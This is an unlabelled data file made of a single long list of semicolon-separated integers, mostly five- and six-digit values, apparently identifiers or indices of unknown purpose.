105526;89982;88982;89572;103047;90902;101582;59576;91330;67839;94527;68789;19358;89260;54162;42673;29598;96387;16326;94366;64819;54919;86636;87194;78226;30913;83801;68092;88978;76958;26859;66553;64205;101621;86480;102708;82937;19788;54704;63333;12952;91856;10682;28776;23609;24507;85217;16918;67359;18477;54408;28804;11280;88387;37425;58407;67702;16340;59716;24457;38631;15597;53578;38812;48900;63889;64935;14504;41720;106994;51700;75325;61914;49339;29883;90079;68150;101186;42411;21294;39752;28717;38719;45002;61870;44872;63620;14140;72404;88389;58685;31675;100719;64923;46996;28743;36814;32330;91197;94400;34490;58335;86560;36860;14662;43064;10196;84667;57591;41010;22135;40152;56131;100390;67092;43961;32147;21454;81454;79998;39670;92311;67116;85000;85536;40583;36398;91087;32087;36069;76623;28077;87723;46295;21415;103261;38657;63025;50671;15040;13226;81310;73277;30590;104628;26436;14425;34153;78613;77643;45521;78885;36959;81418;15256;11470;76659;15643;62157;43968;55780;82170;50043;79366;93668;105582;105044;20456;88562;54669;83716;69603;37689;31205;26062;31653;99574;14776;16662;35288;44187;90596;32862;24255;25530;60438;86821;64116;14193;35714;59187;83686;12975;55415;76609;45339;68130;100608;100247;100629;27675;46547;41839;42038;75775;56164;96829;58289;93597;20522;33614;31933;12976;100097;50686;19574;19852;85123;93603;22042;99172;69706;27162;10472;21300;15791;37228;76232;84232;102906;84982;64172;48245;91351;56185;54748;103511;33840;35907;79081;92975;92147;67044;13314;92203;12399;20728;86579;50707;63052;84551;106525;86800;47130;62373;83695;89542;82177;27437;102914;73010;35256;55730;26932;70263;30551;96563;82495;101135;42516;104254;200007;58939;62758;94044;65011;31835;82345;101431;73413;97451;99183;64781;91204;83590;68837;86195;45289;78258;23549;25523;14497;97315;26406;105868;31820;27254;46340;67608;15667;42668;40226;67748;97426;61071;24060;83906;75925;60651;84784;82341;84877;87471;101527;106635;89038;83167;47093;55219;77916;15858;105772;18151;102857;60152;67492;96155;54474;100666;40180;80686;43513;65276;11367;13438;43489;75447;23201;33611;22385;106866;17750;27458;41982;68851;47248;32233;31624;80669;76200;72798;50701;27698;25782;13125;74590;40943;13507;63662;72914;95922;17190;76414;24827;74178;70484;47206;85661;64344;97658;85019;75358;53532;10653;80536;50353;19775;64922;81205;71021;93522;23252;73473;43003;100196;90597;22976;40438;19794;101024;82284;106949;14473;77884;93341;69710;81263;34123;10943;60702;27434;77493;24132;91240;57206;87496;48342;30359;100918;86353;80741;10945;86747;27553;84627;53693;40145;61227;102521;40487;49114;37837;40384;49912;32645;56665;52933;40788;65140;101719;31030;30976;29201;93821;95981;64466;59180;22758;55212;45994;83805;76253;14137;106597;56519;18705;17819;66484;66901;68011;48822;94526;76218;27475;34154;104801;13029;73597;74131;78338;69980;40038;101323;38276;102970;72553;92420;84590;99559;63437;66846;66519;73832;67253;15445;73775;32001;56785;91170;37345;75411;31780;100241;48559;76238;91940;106634;83934;38351;63950;71144;104791;51470;27533;66842;94082;21440;72044;65418;102775;19624;44502;12466;79802;29989;57885;82768;62416;25584;90943;82118;105473;21662;51259;28623;86128;24923;11980;77230;75229;32061;48986;79373;104696;61918;24821;74864;95577;71387;61927;77749;77426;105086;91185;56480;79719;16265;59764;45774;84270;68964;92601;99914;27950;34179;60224;50235;54096;29035;63687;25313;55315;24656;23768;64302;27877;23119;88129;72765;54681;13948;43263;101217;59794;81511;89220;55148;20515;45432;54177;24011;83741;46675;72324;105376;31302;90583;76270;47438;22804;25272;53409;83762;84480;10605;105484;71970;82365;62860;22496;47707;36659;91861;67490;94245;25594;36464;52610;105704;14422;39498;43894;82459;68861;35756;81524;90388;105342;65861;91925;39171;66470;62935;95273;88457;63367;60935;72384;58928;105276;104539;58635;63736;102780;36432;65230;40314;45461;90663;15257;91207;55031;29119;41302;40368;76322;79500;26939;63216;28745;102898;39538;49110;65720;67593;94250;85446;10093;56352;75851;93147;37482;79627;25606;50171;80748;26661;52347;100348;101076;63150;50343;17462;69278;92081;34936;68510;63306;50015;86710;28700;28587;58618;13122;77892;36922;84087;14430;99582;11038;32467;29803;25369;56536;45800;13552;95824;26306;45583;81526;19376;72865;22974;34040;84979;50926;83660;34258;90732;106690;69247;43897;20832;61574;42713;39584;21940;57571;92514;67187;57388;25509;85765;85327;78425;65441;36382;41114;86995;68799;38920;23117;21137;66985;92453;13553;22762;105279;53085;59254;15800;82939;83474;82109;55318;52365;13810;38824;104093;101925;63171;13162;43472;47446;103126;32015;102214;72351;51894;73479;62978;64818;45938;69226;99879;41952;21540;47530;36815;87600;80937;23596;70185;104515;61509;60474;49727;51253;36665;29202;73719;17631;48510;60137;87679;13749;39674;28636;55628;70578;40724;97406;33743;36167;47643;14622;68733;41021;32611;17221;105814;70480;94987;47299;18743;95429;32032;26788;54215;38349;35004;106788;104017;41371;79112;64051;26689;60183;93030;56748;100646;44678;60974;26232;20029;97992;97113;97165;32748;105768;49799;82952;63600;200056;33082;12807;11444;92113;74399;44775;56040;53838;57553;32575;30385;57056;26917;53435;96763;34487;77755;93096;57989;78220;43523;85923;62092;22458;15720;87337;36090;15625;100543;26981;31562;31778;104405;102022;63775;48384;64946;21651;14538;67173;65627;101095;24072;94529;16911;66207;36499;54574;74022;55084;33256;55072;59652;12565;42127;33422;63536;61052;75144;78656;105151;51990;46144;74769;46508;96570;59586;16371;65700;74054;93088;88815;50733;21082;86050;25499;49327;64319;76682;15203;91886;104208;66778;52530;82402;49347;44149;35571;22511;83701;97417;85606;55066;19862;68606;33782;20610;55531;64978;81198;46519;37729;104351;102811;72696;106205;45766;45628;90143;80508;49654;71477;78558;46382;63410;74479;29530;50645;12288;15107;96247;34187;95813;61070;51895;68089;48799;90787;28219;19167;42583;34328;101381;14588;43708;32923;21336;33889;31773;86776;84731;61639;93281;41439;13439;58320;34711;99846;46177;22506;24924;29408;71127;28261;35417;10967;74435;104756;90642;81411;69102;106649;33698;102365;66171;73177;88812;64927;19744;106495;92043;22881;51781;43459;104087;63442;19824;71555;23929;61842;26015;31362;103320;74301;100776;100507;11371;103271;22726;67769;63149;17345;89127;58279;72923;71066;62822;10647;103371;92716;78781;21987;46373;27318;55952;43036;22265;26132;15096;39336;103208;21337;82144;15601;66169;44832;93385;95826;28668;32285;20122;88720;51377;95361;82785;13495;37064;62139;25204;33052;54234;90019;26366;17372;14649;47540;32793;84801;60086;21666;92338;48839;28116;54941;20290;46077;35102;34637;89678;104391;81954;78929;34222;30568;44164;68182;50377;16139;34279;78315;20585;84261;77241;41996;27692;91083;71651;36403;104193;28467;71026;86532;49132;97445;93830;18423;106200;79848;68145;69087;64584;33843;19733;66564;79358;70900;91851;64878;60672;82424;34966;43460;101556;49031;54189;79394;65065;11533;77133;61770;81899;22513;33874;104771;47842;14854;96045;14871;100995;56998;24264;22239;64995;43394;46156;40333;87867;64795;58874;95446;44701;58576;90924;37898;43110;33144;52290;63615;32775;48821;52558;43441;15214;11252;69479;12884;32955;87882;58731;101822;34848;20186;88761;65293;28480;61318;90960;55151;15268;72876;41353;10227;71776;78900;74571;22477;17029;52343;59953;25031;91892;94973;83623;26503;37439;52405;23507;79052;103397;25032;66449;66496;91013;60712;24318;63003;24853;11999;40663;54553;38283;48309;36806;88123;40480;90205;31263;17679;86240;75371;26765;50838;76556;104349;38587;79828;10810;107118;78348;67190;103482;54037;52653;34686;71281;33250;58885;63855;15007;54745;91683;100755;15414;103497;81651;103846;28453;85252;90501;53469;46221;52893;20454;64847;71178;89656;83822;73276;52287;30893;65531;44323;19822;21494;72102;37035;80095;30917;40217;38661;72052;78091;30143;16441;78593;16494;66959;69027;11996;94555;59156;83409;34748;56671;45954;38220;77526;103702;105831;47014;57083;33484;29651;81542;15917;13978;47810;33723;88712;43535;41730;34627;31746;43245;54604;73331;36995;20997;89124;44474;49709;36319;69351;18782;53308;29715;94665;72854;57774;21480;100878;28043;74925;10169;75363;88040;52992;101871;45210;96717;54573;77424;48411;32605;23358;62404;51106;56863;57499;28520;83863;60884;14966;83646;61067;11893;97545;37301;57111;106729;84283;32783;91485;89339;16350;37780;24037;59527;39880;16445;93625;41484;17460;49538;26328;66596;34506;37857;43178;58861;104418;44452;30797;38770;82881;24749;59535;97568;78441;51780;72383;87014;40098;13840;86438;56873;44552;78696;93748;52129;15532;74557;18978;96784;71432;43768;76531;80853;79670;104396;75471;106000;106401;44219;53735;24593;61433;10126;83017;42748;19876;87215;76053;82265;96379;79958;106274;78762;69054;87244;77368;18904;89087;41699;32276;40737;55853;73731;80863;103774;23819;68791;92686;24200;20570;93546;93000;23057;104894;77556;23047;58958;55702;42774;68158;103481;81056;84831;96762;68039;104242;10949;69401;103097;64939;10036;21739;42321;19178;95514;20683;72740;50180;92779;37237;103498;79472;93584;96424;89485;94924;95649;16742;44759;63795;14732;32427;27065;59028;72125;55352;100325;79016;57019;41129;80869;101500;97075;30063;73945;44085;56454;72672;39145;61280;79376;200013;34172;95410;56058;105712;21468;12752;71729;67787;69489;59296;90031;69916;95690;93475;20364;48979;52093;25798;68351;73500;49695;84120;41110;91078;63291;56573;53108;31966;57846;43022;21745;10754;66033;101415;99235;101065;50237;45999;44344;24438;82437;64404;86013;10125;48203;47487;44313;36846;79806;13624;42290;51137;72750;31510;105570;73079;14267;90499;73607;81722;62524;55310;48493;80027;47818;29688;60059;17104;69205;17584;87388;64618;42001;89427;14643;34760;11104;69711;71033;44035;42118;99444;50997;13322;20035;28384;60635;40482;100105;32787;75077;74394;72736;77750;83788;55255;69431;90163;13100;84764;62954;42688;79870;13789;12419;79777;51378;25946;25202;105738;49899;16618;96108;105504;32674;85302;100326;86810;40557;103359;21692;95913;93918;35654;50006;27299;10096;74080;89580;32409;94301;42982;39060;15744;24353;74265;74503;58705;36166;62381;103222;86960;13750;46251;40448;23387;15409;14876;36104;97824;86378;88073;26854;11662;82901;65314;41994;106184;51012;42957;21700;26974;92316;65083;25546;22895;59329;97778;13667;53025;43558;18049;60128;37843;18792;74870;96634;30261;106221;56152;94050;44191;29926;68007;38254;46665;44356;62701;39174;106444;26900;74094;10190;64712;18368;70729;100885;20267;62245;54498;31314;59560;31853;70801;67954;66394;79978;90719;25843;17770;97092;94999;72222;51283;44567;97203;94739;21764;17401;58108;61410;73580;79211;66817;51007;70631;60488;93646;64387;76960;20047;17817;56422;72835;77872;52579;54965;19940;59719;101159;32206;63108;96556;52293;65027;46581;68846;39944;60760;102425;103280;82712;70977;23800;103849;104265;31165;102316;68579;11225;99312;70334;94306;21715;14036;34399;90507;86490;93816;102378;90977;32839;23149;86065;82342;101918;65768;16568;73809;99051;94469;77623;44995;93297;35191;26370;90279;17289;94608;88039;21520;41579;27769;31747;76632;59533;49152;96757;46421;38071;102617;106995;50556;106136;67012;62502;33251;65885;15398;74660;33509;54907;40041;95864;90599;13593;20143;77891;83230;87318;102848;27854;42689;42524;38518;12710;85411;31935;85605;65171;39265;103747;88439;31130;66729;19562;24742;61703;23510;88406;104062;92914;47650;70116;60214;106194;46664;84734;69639;30507;95283;100893;97947;99240;84626;45736;90657;11758;50990;21189;68297;35817;34327;92052;23840;73359;106375;76272;85639;27368;13043;87657;92822;106369;22150;75394;75029;29808;102177;36169;81504;12343;82283;34671;87993;72490;86422;75085;35086;67305;35483;75963;11373;12745;92261;81973;32648;106767;42249;23690;104139;64766;74093;57982;46230;46247;24614;69040;71621;33966;68070;39063;72982;86259;22553;34448;101927;80050;92476;90445;36863;41707;106384;200093;59301;53011;53490;96423;91653;60534;83425;85818;59274;31723;51629;61128;21495;61451;23111;102050;102770;89942;34739;40864;44466;70719;28590;55160;24629;24308;37055;43087;74072;103237;89945;93130;80570;70078;25117;77955;60611;59975;80279;71106;56167;12057;99195;92129;65179;48876;55128;61200;82352;64807;105300;68757;10683;59001;102723;46397;36389;31749;82502;15131;66699;23587;80806;104751;53248;23947;13095;103989;67109;95311;82404;46765;17617;32195;92624;71623;71658;39630;74994;79209;100381;27521;25993;95718;30105;22473;86257;33751;40409;35441;43989;97587;26371;29815;77252;22921;39348;104822;53460;10491;19078;28547;60276;78603;83252;14407;59398;68904;33904;23415;50002;15356;31590;52800;57190;12461;25358;72673;52785;33991;12772;10767;59220;65586;101149;80848;95390;96316;27611;52260;84732;86354;41636;12063;37674;84476;64620;82387;47614;80419;31829;53049;30967;80587;34126;37650;54179;28143;87508;50629;54588;33616;42022;35901;94393;81477;96769;52964;59016;23624;63759;40094;89584;62252;39661;102911;13691;103120;99078;75126;26994;17381;58972;85087;22088;66293;40354;70038;34255;74855;47278;46322;78115;23213;72099;35554;15218;72599;13168;89031;101665;90042;80322;49293;15128;69352;85705;16400;40381;45022;79650;37360;74616;105634;64880;39157;100022;61146;96917;71076;90234;86178;69919;94662;92283;85813;78343;103016;42437;60461;80962;56973;15110;36812;17524;92161;83721;91754;21199;105010;69432;90477;58156;46897;36457;28010;96346;67081;11549;48535;31637;102694;41036;10146;11653;104511;105103;79976;59538;57472;77602;67105;66237;51061;87564;49648;66483;39995;83813;94912;59108;14101;60659;58905;33688;30948;67981;42580;23426;83401;21558;99807;97934;17610;92960;33774;74188;100427;83059;20908;103727;94774;53588;34152;29591;23457;12245;43115;62970;70503;20657;27889;49893;27186;36551;70994;44515;65594;31058;57509;77243;22036;78317;14541;18982;92588;76565;104027;99277;55476;85754;55790;16775;27935;80605;84143;81003;29806;92665;66230;17472;92271;30368;92400;96751;37866;78983;22358;65384;16426;30519;95442;52730;55399;102288;91481;89437;54310;93822;64991;70576;106519;83309;66165;15344;53666;22113;93661;86063;39094;96901;73195;53541;29560;69233;14332;90978;53967;79121;103317;60099;71622;103793;96034;57519;92680;16193;46104;69828;82312;93486;64771;75151;90129;99247;32357;60419;99331;92101;32718;64343;36163;19192;26568;10159;53498;48925;83875;62094;100883;93662;62730;88420;54545;79051;60130;72283;30817;10830;53227;105259;47671;25474;76025;82516;89144;27765;102845;13277;89649;59299;88651;19787;17341;106893;33483;44948;67956;74760;74619;56834;92060;29669;64316;17586;38862;41767;103863;11926;92887;70637;102449;33971;46867;40366;19030;53930;29425;87857;59005;68872;78508;100376;103808;85317;47875;34420;71444;32447;21187;33009;29995;69258;12033;11321;15478;74913;71279;35201;12490;16958;61762;74538;90592;17508;95547;65572;80544;74544;39766;65593;31824;34245;101150;19315;48893;90570;15094;11465;11494;69194;38049;40257;88510;55226;80670;49911;24150;33946;18636;74381;25638;20647;78887;23821;32098;101848;24427;13104;46518;53662;105207;92702;56943;104642;69417;27615;74023;60622;15368;38249;75782;13213;71322;103488;10016;58030;41147;87599;19723;78660;105015;11640;104812;68839;81563;79407;23712;82891;38592;59355;49148;18291;54951;67346;95414;96877;88038;56118;53027;53898;32774;40862;42202;87843;54137;73128;25554;87896;48645;75293;74703;23889;81210;14601;29580;61155;54065;20763;33084;21517;83830;72860;81814;77031;28689;35964;105979;36119;59912;38914;87292;35828;46289;37434;57357;60236;106611;50185;66423;16788;71379;49996;82930;95927;92947;23312;21370;78463;99645;53353;77925;97797;41832;71698;82843;18317;72528;103783;21086;26388;32051;26572;52770;22946;24946;26265;58187;95054;87572;74257;106106;28002;42991;35101;101563;11386;22614;42082;66352;11437;65424;103008;16798;101482;20704;21926;65922;77349;64691;38664;103756;70784;57187;76047;69042;88969;48264;45515;17489;92891;95585;48712;71965;47591;20257;49183;18930;45869;81786;15939;92669;88606;29257;54109;63099;86591;106413;81596;69304;13815;75707;25279;106102;15836;70401;30020;56453;31041;14550;85696;27525;29957;56996;24889;89599;10552;18309;82418;36732;11262;78927;64586;94401;59470;45127;49641;79036;105204;49712;46602;47074;31739;21164;56385;46462;25079;67663;21880;82166;26202;69798;19927;64554;13690;31022;39998;73748;59943;15338;69921;49122;96054;82160;82412;90976;52590;69554;86158;101399;55620;38216;85768;48238;59202;24194;59820;68509;58684;86144;57263;96870;73996;62256;57834;24773;48648;102852;74747;102992;44977;39946;32425;12118;71131;34804;25568;23550;36742;28970;80682;52174;28819;80501;72230;79117;39393;63567;66216;106193;20747;46164;46022;70963;22080;102880;23032;15261;85466;37566;100224;43615;40868;61439;26456;14787;50729;56180;47806;85264;89471;88491;100257;68095;42530;32901;88395;66090;16648;88836;51773;103934;69960;57102;23692;11740;80840;68648;40827;102734;10018;64423;89028;42197;93193;42013;82420;16787;33038;92148;42787;38857;62291;73823;70532;20449;44611;60000;49761;57959;22388;96588;76670;69507;18208;42253;40533;17119;105208;38456;26466;52097;93958;80515;26264;63033;45246;54202;27586;21607;16182;77199;50074;106008;43338;44074;106130;61361;44001;20995;86646;19139;39700;92293;58318;43381;51851;68586;100736;45304;31283;96138;83521;64742;79271;50750;39294;49049;69530;74915;30618;85629;66617;94324;49674;62041;87831;89425;34717;101770;63468;90846;69435;42589;40769;99122;28363;61976;27332;82518;84485;43512;97560;61317;63869;10831;63457;91946;85628;46265;47752;76920;34701;34590;41095;30082;24283;61315;82332;51325;70565;55974;50013;66539;97272;35425;47349;58271;20370;41074;70853;72703;15411;71617;40723;68490;35830;14116;16226;76264;49365;58875;82475;94276;55547;44161;69514;19916;55623;53560;72732;74352;73147;100058;60542;64022;55990;41696;82176;16563;73617;30942;100450;97544;24016;37188;100767;18027;16699;15691;12285;59660;24026;75114;11974;53477;83768;79724;77704;59014;64577;105217;37421;40897;92792;74371;58081;41891;64657;101182;63716;33917;23686;101507;100742;39957;73368;82668;68083;92992;80476;26716;77108;55499;87323;64833;102893;89722;13176;87231;35335;97790;13115;66592;106590;57275;49869;38712;33168;93327;29365;104846;86847;89162;52841;51332;86885;80351;43572;43965;57116;67239;18593;47078;87710;62666;10003;92706;51275;84616;23617;101220;92930;55666;104315;24305;60140;10797;64775;43839;68282;83726;67695;104237;31183;46057;38252;41385;99492;101604;64862;17447;82250;25605;92623;22391;92617;55004;50468;10596;101267;20631;57723;61401;73754;97388;23645;100345;61112;100225;73828;51297;90797;14384;102132;101110;79020;10270;67723;57712;73929;32307;35552;56593;95014;105543;71533;89388;43772;81631;56527;45946;55758;41425;56079;37032;73700;52953;42448;81041;97225;47869;72313;35438;73062;86062;106076;33445;99342;91528;94878;49352;45284;42106;73978;93245;28663;65459;76406;64000;18348;99719;81863;101063;39625;30886;57511;56879;18473;26483;96169;84650;85459;54267;21653;21566;22504;58978;31224;22077;47856;62961;46189;87816;16724;47338;59755;62391;92909;13714;92764;13809;35195;59804;52340;38296;64120;97849;59346;92354;94001;49006;23941;50248;38723;52901;100209;88483;102194;87492;29346;78876;70500;29397;73967;78764;85576;69334;63937;15789;103424;43102;72598;37255;28861;10141;64686;30161;38177;56242;27320;105753;50796;29459;84074;44018;75292;86626;15086;75009;19573;83812;70339;21547;38886;62285;55345;43325;94159;89058;46604;27321;42750;93170;12119;70016;52554;51083;82159;32715;103132;46268;92000;44010;29971;99643;37242;48911;47160;101027;20987;19804;52509;22038;49921;49901;92625;80886;61719;35770;90130;84446;42623;68113;66327;81793;86711;24403;29719;28202;21333;72705;56681;49170;48488;57988;55475;61396;104745;20755;14359;74306;55229;100842;87589;39593;38796;51782;67314;76346;33037;90504;13916;22481;41757;56257;68745;80044;69689;46481;82696;74087;49786;25603;42117;44041;23479;13202;94074;87989;41628;86998;78891;82476;90053;26149;16978;57932;58085;90706;50440;58754;37842;41432;59616;19014;100360;29763;35634;19525;54994;74074;31886;20237;70858;51812;70909;50391;42662;53540;89914;83766;97227;62901;75432;17837;28185;30001;35990;65516;24126;27945;55699;45492;86187;40553;15634;37357;99348;84458;69147;33739;52475;29697;36207;43267;69845;74327;52944;32776;16770;18397;81817;99374;73678;78625;104256;58649;52781;84487;69250;80491;20446;62451;11237;67988;62873;54285;42332;68398;103720;88565;103088;36743;16659;31034;42518;30412;102143;31789;65518;56211;67765;105357;15008;66478;16858;100556;102665;100043;83347;24887;75489;13921;96826;12049;23720;71840;49656;70706;27188;75464;15887;37142;44570;69904;65482;31716;15820;89510;84453;83627;99059;15027;71075;34545;69852;64966;100436;106171;10325;58116;45061;84808;100037;41745;91029;32305;87523;73765;79041;19673;70141;59381;101562;62251;73820;91180;73585;20362;87431;14585;30095;54944;32112;34665;101190;59483;62338;59986;18462;56333;70515;106931;100782;200033;66328;37117;45653;73003;33450;58069;69261;84366;48539;19151;34523;20966;59141;75897;101376;57035;41899;76521;79555;20830;15665;81189;10592;103593;72215;78600;35107;84821;106349;97575;14294;24491;19736;93618;38593;39851;30172;20255;37407;18892;54268;40510;75019;81981;57818;37211;54983;97484;86190;84114;77684;62834;38983;106703;62545;99224;60324;93577;101688;51784;52100;106858;78799;35887;84758;83097;97543;21200;76421;52142;39195;34555;57396;64424;43406;55305;39227;35040;17301;44091;94900;59245;13905;74066;51266;46791;20761;41378;23118;44563;35577;83710;53550;27709;76073;22671;26017;51822;84241;50594;16044;59567;17224;93407;33318;20094;65795;30177;60779;76710;66654;79128;18218;21772;85079;64491;68206;70857;77697;60087;55087;42329;26515;35875;37985;99892;41033;56396;52064;55939;83232;50192;11285;56949;18114;67871;66261;91903;91563;72276;100441;106180;70830;22790;103274;95302;30336;11438;26393;63219;16109;87567;66665;88131;38814;83372;91969;28298;89140;67710;103800;14379;56758;15119;34625;95427;74548;27154;23522;55616;52432;99861;93642;47297;48831;42585;89994;95451;52806;54250;90720;56475;65704;72021;24529;64787;18010;73742;79045;42285;85088;97643;87287;46363;86863;23731;59612;67826;25786;102612;89585;70773;71790;71590;71246;69301;86923;36431;51621;106332;53048;103143;68965;87814;73561;61672;32331;92085;94481;78215;25897;85447;28755;31700;94939;57794;29261;48990;69370;33580;47219;73763;15422;71738;68662;51509;70529;77253;13781;38649;96437;80701;61428;40720;31160;104341;95635;86726;76251;14579;73654;70025;100664;33159;104614;97161;64330;12936;28685;23286;66373;25444;31166;74174;84507;87562;75214;83911;54192;37698;81921;70596;80152;52985;25397;102382;30653;40006;64572;65654;21721;18398;44024;45739;43454;36387;47108;27291;25115;41539;107140;42743;84806;25256;42615;39510;40329;77115;40955;35013;49631;38994;30373;21070;33125;80236;48369;32524;104410;32012;21083;79458;74062;43546;73000;37164;99696;70042;63467;24393;35962;43424;65703;40670;99895;61074;64459;36883;24201;104934;31690;32836;76831;27009;83984;13985;97495;91024;58844;24045;66429;50728;31038;19317;36854;72255;95404;28542;30144;62044;15837;11145;76197;49685;46209;69667;96061;87281;19059;89367;19965;47527;36019;37912;32451;54779;45942;28853;76201;22534;86971;43404;96725;26486;58623;103183;10067;79482;91692;76131;64113;35324;18388;82757;30299;81509;102840;12403;67018;53648;103102;20167;18293;70957;88520;69909;100012;77772;15263;56316;42568;23728;31089;77715;49760;59515;83500;97252;84956;92569;24891;43453;28554;99907;100734;67515;44019;75871;17240;39032;64165;66945;46006;40672;106843;93394;75397;76726;56534;36774;87080;69746;89767;102864;65872;42381;18994;54780;31043;60895;74032;85828;96070;81380;27689;87783;28901;101293;65242;85781;66299;88004;26063;73767;27844;25978;29548;100504;106773;76929;89319;93416;106088;46571;20452;82644;17685;83237;67362;50264;66878;14909;42920;33731;71532;13873;60222;63525;30060;46368;51623;69421;18459;106934;50244;68782;87833;78019;43761;72981;64486;94891;50470;22619;83559;90456;81692;99746;102185;87959;64067;49194;67090;38648;45206;41219;14883;33298;73288;90068;85248;57965;55276;58656;19268;76644;95274;58727;53577;50093;81600;73865;38741;58973;30005;51472;16780;19066;57812;28385;40321;71689;57022;82711;66185;11915;94716;55171;66387;45826;15786;57786;23396;94627;16614;19554;67923;105734;56045;104572;13110;23717;92464;42471;60411;50841;40702;86521;84396;81818;22784;38926;41524;76463;106025;75159;104726;53100;57763;104866;14530;89969;93271;87251;61304;72485;35420;37098;100091;77131;104670;97632;95648;13996;55444;42621;68306;78901;40536;99773;11642;15416;81047;87649;93553;33308;64069;62026;38624;38407;71864;94963;18412;101594;50785;43122;11807;25219;45757;43250;35920;12735;82017;35882;44357;105778;93358;54119;42617;55166;14734;42874;63575;97896;42425;42430;88167;18689;103440;54442;86698;39818;74895;107127;38791;89452;28516;75577;35122;29243;72892;21939;89302;66910;97723;68298;11871;30243;90959;16030;91141;22025;29047;43875;92458;35704;81026;29454;106924;26295;97478;85024;31626;87944;20221;58511;99000;46425;52472;53788;56175;84215;59283;15195;48150;19219;15059;49306;93557;37991;53904;66547;13863;24926;35307;39986;96723;69264;86691;74271;90577;86573;22180;64729;24992;10514;91035;13678;80792;84189;12615;74453;100159;101982;11167;106456;68136;53567;69635;47563;84570;60150;44560;28958;21312;27350;21386;102679;53709;14651;80352;91908;33945;84405;91462;34038;69425;65497;23959;20771;24450;65815;23381;62024;87000;29836;100468;99980;66515;29988;79294;51946;82330;49611;20248;11393;27830;17715;24244;20168;66354;42823;33925;24672;88112;15782;51660;64094;104329;27170;94067;61020;93884;46950;71979;48767;91956;49896;77084;82316;13756;49174;103982;104385;74181;55079;25067;44145;51212;74182;20633;76334;53553;57059;13451;105146;72806;46486;72646;18585;63953;68444;64725;77929;48686;16631;14423;94080;65545;48293;95510;18850;200129;94789;77163;40402;90482;34090;89142;22824;60225;70599;39303;50612;73279;59571;32854;51891;45760;83514;11002;13036;79227;81944;43134;76114;91104;31472;84227;49680;37326;91364;51002;49573;25771;17135;104115;92353;76630;44099;75391;75107;82392;69504;68690;77485;67437;26776;74316;106851;100668;66832;73707;25758;100143;64977;57778;72038;35246;47881;26177;64232;33779;103606;48741;41658;33891;104190;25682;94951;17450;79840;42495;70362;51348;46468;86310;41351;102965;19254;102578;41235;73608;67606;69063;57363;52577;19309;41921;60191;55112;17124;84844;17071;14482;80388;92925;85831;90791;61922;37086;72917;36261;52884;103625;30152;68731;31445;87803;94622;95040;94347;95936;100212;95382;85892;84907;43591;44488;22371;39836;66795;23367;21766;76021;68405;19535;19582;31790;29219;105502;32653;75597;69079;41914;30015;95282;88081;41174;21533;32840;14494;68626;37932;72199;23775;64370;19632;85462;33526;83524;104953;82045;52067;36931;38464;81701;74587;76797;22440;72050;76881;64655;74535;200109;53302;16846;96011;78323;94431;91375;73857;57384;21930;14331;78628;106745;91157;70308;26310;94785;41112;96875;79526;99205;95008;44856;48608;55850;84338;100659;14855;101907;102189;15319;77059;83373;96442;106602;16795;11110;97264;64442;29642;72357;102790;45930;79005;75166;11233;20748;20697;15991;73169;106944;72307;65568;60156;83777;72426;44017;51890;85646;33553;84873;43633;75374;17457;25070;63148;58201;31826;82161;10568;48512;31533;74357;52858;65360;64569;46337;39530;69404;84444;78484;93313;79833;21194;34034;26894;69715;57058;25394;63978;34394;32220;93733;45467;59458;57359;42026;17431;52279;27974;69975;33247;21919;19204;90281;46522;69664;14054;76390;38735;50012;84284;90119;20513;57171;18416;15358;45021;65789;38896;24931;47821;52958;63205;78816;90967;48824;104577;37888;87863;70589;58433;11620;23563;105983;61716;50271;76011;14006;63460;26109;29078;31649;61959;57213;106731;83419;66141;48550;36295;58672;36517;86500;70217;26902;58547;63341;12982;68945;60376;94619;38309;89295;62226;84870;25309;49415;92858;95902;87926;62097;68296;106862;106341;94709;32835;23676;20091;76824;66991;25950;72452;53969;89022;12821;49711;63268;81647;77383;64345;72503;13825;94641;24696;76841;106505;62353;65839;21956;95662;46378;60117;32356;81904;33343;93956;73403;79696;78969;63892;87087;102235;64176;67200;45436;83116;102009;30649;43112;63903;59555;73995;107089;63002;91729;28238;63498;63524;46761;46081;92903;67344;22354;17641;67276;80921;33049;60361;41817;32034;16924;18118;16455;57848;100580;14286;41270;33730;30350;79742;27045;79359;39585;40556;94962;83016;49377;103841;67317;86616;19581;24140;55542;102352;56624;32606;58964;90594;54270;34168;48830;45976;28132;89653;89050;89166;91415;42376;44968;77380;76160;93751;54853;49741;66674;102416;45072;86098;66928;91910;65099;10103;62016;80003;71845;94650;26121;104729;30897;101839;95591;95973;107129;76948;43195;69517;101050;101384;85139;92412;80654;19501;60109;92024;71290;74718;75935;25017;95367;39795;96172;24679;24676;24312;57455;77596;31230;200087;103036;55312;95863;99022;56423;40278;79967;22737;28523;105559;21090;73389;93620;37269;90345;95608;11215;76202;62837;26957;68770;60756;60248;97868;29165;14269;57602;25544;62755;104831;44826;87531;106618;106438;101807;91704;25479;74734;50591;24066;97015;13414;77939;14841;63126;100323;20059;14094;44608;10652;18203;25855;76972;52528;10504;67374;61562;93682;84124;34401;88161;75662;105405;69681;46566;38274;73966;28217;99264;78340;15440;64532;95646;82767;27422;78062;53628;15227;57615;20068;71821;17547;102447;27315;91295;83909;18540;17546;66616;44691;48529;34622;17441;99486;12924;51913;48908;89372;63156;65936;66974;90887;36751;49078;47280;27013;65210;102773;58771;33808;73075;71963;26583;79772;16381;82108;46442;102814;70774;64206;102094;29199;93066;49100;15301;25964;38481;82267;20595;20927;22627;90539;79610;105025;70560;90839;58170;79328;101529;102922;67802;48630;36878;33063;47480;51361;95872;31173;15296;84964;37273;97536;93974;14586;19757;37762;94734;99462;100021;107056;81559;100746;13564;88946;11935;18394;104068;44273;29664;37829;11948;32816;92462;83380;80072;36833;29141;81016;79561;77545;79084;74337;41230;35422;68285;72630;69841;12404;17527;31117;30660;99887;90481;88540;20034;105435;33646;69191;34751;64087;39373;76460;23376;102153;35774;57630;24098;20020;35968;100838;77033;48472;75636;83835;67510;90761;58396;26439;71816;34785;74854;65141;32996;81040;101786;54918;61521;53365;43202;76425;72428;85329;105031;36346;26622;70241;36286;18774;55982;29549;87555;58290;54095;103583;66816;37501;43057;76068;31390;105241;21018;84102;58155;42640;20913;104010;81903;50127;106291;58835;45857;95379;64633;200010;45373;89423;33836;45448;35797;57644;55002;39147;97477;41065;72078;37123;60300;105220;82704;38028;33015;38801;30047;56375;55626;62312;64816;56017;89761;35403;65456;38577;66636;79817;69484;19378;13014;59037;34694;42479;107040;43567;41815;53065;83357;79104;16545;16718;64549;83405;67410;105993;105057;104495;17621;59247;19349;87962;59627;61790;60310;68617;25432;39033;31210;56539;52220;104840;37697;47824;17242;50919;18078;92213;47406;19076;84581;